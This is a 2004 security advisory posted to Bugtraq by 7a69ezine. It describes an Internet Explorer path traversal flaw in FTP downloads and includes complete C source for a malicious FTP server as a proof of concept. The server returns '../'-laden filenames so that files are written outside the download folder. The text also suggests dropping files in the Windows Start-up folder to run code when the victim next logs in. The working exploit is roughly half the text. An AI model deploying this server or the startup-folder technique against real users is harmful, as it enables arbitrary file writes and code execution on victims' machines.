<NOTE FOR BUGTRAQ MODERATOR> Excuseme if you have recibed this mail reapeated, but I had some problems on my mail server some days ago, and I have sent this mail 3 or 4 times. Sorry :) Delete this note to post to the list. Thank's you. </NOTE FOR BUGTRAQ MODERATOR> - ------------------------------------------------------------------ 7a69ezine Advisories 7a69Adv#17 - ------------------------------------------------------------------ http://www.7a69ezine.org [23/12/2004] - ------------------------------------------------------------------ Title: Internet Explorer FTP download path disclosure Author: Albert Puigsech Galicia - <ripe@xxxxxxxxxxxxx> Software: Microsoft Internet Explorer Versions: >= 6.0.3790.0 Remote: yes Exploit: yes Severity: Medium-High - ------------------------------------------------------------------ I. Introduction. Internet Explorer is a well-known HTTP browser, and like others it can use more protocols, for example FTP. The security historial of this navigator is really cool and we are glad for the excelent work done by Microsoft. We love your (in)security features. II. Description. When you save a file from an FTP server to a local folder it is saved on 'local_folder/file_name', consequently if the name of the file contains '../', the real destination of the file changes. Despite it is imposible to create a file with '../' characters an FTP server can reply a LIST request with this char on filenames, so a malicious FTP server can modify the folder where the downloaded file will be stored. Of the three possible ways of downloading a file only two are affected by this bug; the left-click and save-as procedure and dragging the file. The one that is unaffected is the double-click procedure. III. Exploit You can use the very-tiny and malicious FTP server attached in this mail to check the vulnerability. It's easy to use './ftpd-iexpl localfile remotefile', where localfile is a file on the FTP server and localfile is the path where the will be stored on the attacked system. If you try to overwrite a file the Internet Explorer show a confirmation message, so is better for explotation purposes to create new files, but It's not a problem to execute arbitrari code because you can create, for example, startup files on 'C: \Documents and settings\All Users\Start menu\Programs\Start' that will be executed after next user login. However Internet Explorer shows the complete name of the file, including the '../' characters so It's unlikely that it will not arise suspicions, but you can put the malicious file into a FTP folder and waiting for victim dragging the folder. IV. Patch Don't use Internet Explorer and turn to Firefox world. V. Timeline 06/12/2004 - Bug discovered 23/12/2004 - Advisor released 25/12/2004 - Noel; uoh! ouh! ouh! VI. Extra data You can find more 7a69ezine advisories on this following link: http://www.7a69ezine.org/avisos/propios [spanish info]
/* * Internet Explorer FTP download path disclosure fucked prof of concept (7a69Adv#17) * * ¡¡¡ DOES NOT WORK USING PASV MODE, YOU MUST CODE IT IF YOU WANT !!! * */ #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #define MAX_BUF 1024 #define FTP_PORT 21 int main(int argc, char **argv) { char ch; char buffer[MAX_BUF + 1]; char ipbuf[MAX_BUF + 1]; char *local_file, *remote_file; int sfdmain, sfdses, sfddata; int readed; int ip1,ip2,ip3,ip4,port1,port2; int fd; struct stat st; struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY }; struct sockaddr_in ftpdata; if (argc < 3) { printf("\t7a69Adv#17 - Internet Explorer FTP download path disclosure prof of concept\n"); printf("Use:\n"); printf("\t%s <local_file> <remote_file>\n", argv[0]); exit(0); } local_file = argv[1]; remote_file = argv[2]; if ((fd = open(local_file, O_RDONLY)) == -1) { perror("open()"); exit(-1); } if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(-1); } if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr)) == -1) { perror("bind()"); exit(-1); } if (listen(sfdmain, 1) == -1) { perror("listen()"); exit(-1); } if ((sfdses = accept(sfdmain, NULL, NULL)) == -1) { perror("accept()"); exit(-1); } write(sfdses, "200 OK\r\n", 8); while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) { buffer[readed] = 0; printf(">> %s", buffer); if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8); else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331 OK\r\n", 8); else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230 OK\r\n", 8); else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250 OK\r\n", 8); else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257 \"/\"\r\n", 9); else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200 OK\r\n", 8); else if (!strncmp(buffer, "PORT ", 5)) { sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2, &ip3, &ip4, &port1, &port2); snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3, ip4); ftpdata.sin_family = AF_INET; ftpdata.sin_addr.s_addr = inet_addr(ipbuf); ftpdata.sin_port = htons(port1*256+port2); if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(-1); } if (connect(sfddata, (struct sockaddr *)&ftpdata, sizeof(struct sockaddr)) == -1) { write(sfdses, "421 OK\r\n", 8); } else { write(sfdses, "220 OK\r\n", 8); } } else if (!strncmp(buffer, "LIST", 4)) { write(sfdses, "150 OK\r\n", 8); snprintf(buffer, MAX_BUF, "-rwxrwxrwx 1 0 0 1 Dec 08 07:36 /../../../../../../../../../../..%s\r\n", remote_file); write(sfddata, buffer, strlen(buffer)); close(sfddata); write(sfdses, "226 OK\r\n", 8); } else if(!strncmp(buffer, "RETR ", 5)) { write(sfdses, "150 OK\r\n", 8); fstat(fd, &st); while(st.st_size-- > 0) { read(fd, &ch, 1); write(sfddata, &ch, 1); } close(sfddata); write(sfdses, "226 OK\r\n", 8); } else if (!strncmp(buffer, "QUIT", 4)) { write(sfdses, "221 OK\r\n", 8); close(sfdses); close(sfdmain); close(sfddata); } else write(sfdses, "500 WTF\r\n", 9); } }